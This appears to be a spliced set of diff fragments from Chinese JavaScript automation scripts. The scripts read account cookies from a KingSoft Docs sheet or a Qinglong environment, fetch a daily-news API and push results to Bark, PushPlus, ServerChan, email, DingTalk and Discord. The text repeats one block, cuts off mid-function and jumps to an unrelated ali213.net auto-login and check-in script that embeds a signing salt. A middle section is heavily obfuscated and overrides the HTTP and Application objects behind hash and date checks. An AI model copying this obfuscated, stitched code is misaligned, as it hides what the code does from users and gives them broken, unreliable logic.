console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + // messageHeader[posLabel] = "👨‍🚀 " + messageName + messageHeader[posLabel] = "----每天60秒读懂世界----\n" + // console.log(messageName) + + // area = Range("D" + pos).Value2 + let url = "https://jkapi.com/api/day_60s" + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + resp = resp.text() + // console.log(resp) + content = resp + messageSuccess += content + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + // 检查是否直接推送 + flag_pushdirect = Application.Range("D" + pos).Text + if(flag_pushdirect == "是") { + // console.log("🚀 直接推送") + // pushDirect(messageSuccess); + message = messageSuccess + // 方式1:按照指定分割符分片 separator + shards = message.split(separator); // // 分割符分片数据,一级分割 + let chunks = [] + for(let i=0; i { + + if (!(await Envs())) + return; + else { + + + + log(`\n\n============================================= \n脚本执行 - 北京时间(UTC+8):${new Date( + new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + + 8 * 60 * 60 * 1000).toLocaleString()} \n=============================================\n`); + + + log(`\n=================== 共找到 ${yxwArr.length} 个账号 ===================`) + + if (debug) { + log(`【debug】 这是你的全部账号数组:\n ${yxwArr}`); + } + + + for (let index = 0; index < yxwArr.length; index++) { + + + let num = index + 1 + log(`\n========= 开始【第 ${num} 个账号】=========\n`) + + yxw = yxwArr[index].split('&'); + + if (debug) { + log(`\n 【debug】 这是你第 ${num} 账号信息:\n ${data}\n`); + } + + msg += `\n第${num}个账号运行结果:` + log('【开始登录】'); + await login(); //登录 + await $.wait(2 * 1000); + + if (loginBack != 1){ + + log('\n【开始查询签到状态】'); + await getSign(); + await $.wait(2 * 1000); + log('\n【开始一周签到】') + await weeksign(); + await $.wait(2 * 1000); + await weeksigncheck(); //查周签 + + } + await checkcoin(); //查金币 + } + await SendMsg(msg); + } + + })() + .catch((e) => log(e)) + .finally(() => $.done()) + + /** + * 登录 + */ + function login(timeout = 3 * 1000) { + return new Promise((resolve) => { + let time10 = timestampS() + let signature = md5(`username-${yxw[0]}-time-${time10}-passwd-${yxw[1]}-from-feedearn-action-loginBGg)K6ng4?&x9sCIuO%C2%{@TJ?fnFJ,bZKy/[/EWnw9UsC$@1`) + let url = { + url: `https://i.ali213.net/api.html`, + headers: { + "Connection": "keep-alive", + "Accept": "application/json, text/plain, */*", + "User-Agent": "Apache-HttpClient/UNAVAILABLE (java 1.4)", + "Content-Type": "application/x-www-form-urlencoded" + }, + body: `action=login&username=${yxw[0]}&passwd=${yxw[1]}&time=${time10}&from=feedearn&signature=${signature}`, + } + + if (debug) { + log(`\n【debug】=============== 这是 登录 请求 url ===============`); + log(JSON.stringify(url)); + } + + $.post(url, async (error, response, data) => { + try { + if (debug) { + log(`\n\n【debug】===============这是 登录 返回data==============`); + log(data) + } + + let result = JSON.parse(data); + if (result.status == 1) { + + token = result.data.token; + name = result.data.userinfo.username + log(`${result.msg},${name}`) + + } else { + loginBack = 1; + log(`【登录失败】${result.message}`) + msg += `\n【登陆失败】${result.message}` + + } + + } catch (e) { + log(e) + } finally { + resolve(); + } + }, timeout) + }) + } + + + /** + * 查询签到状态并签到 + */ + function 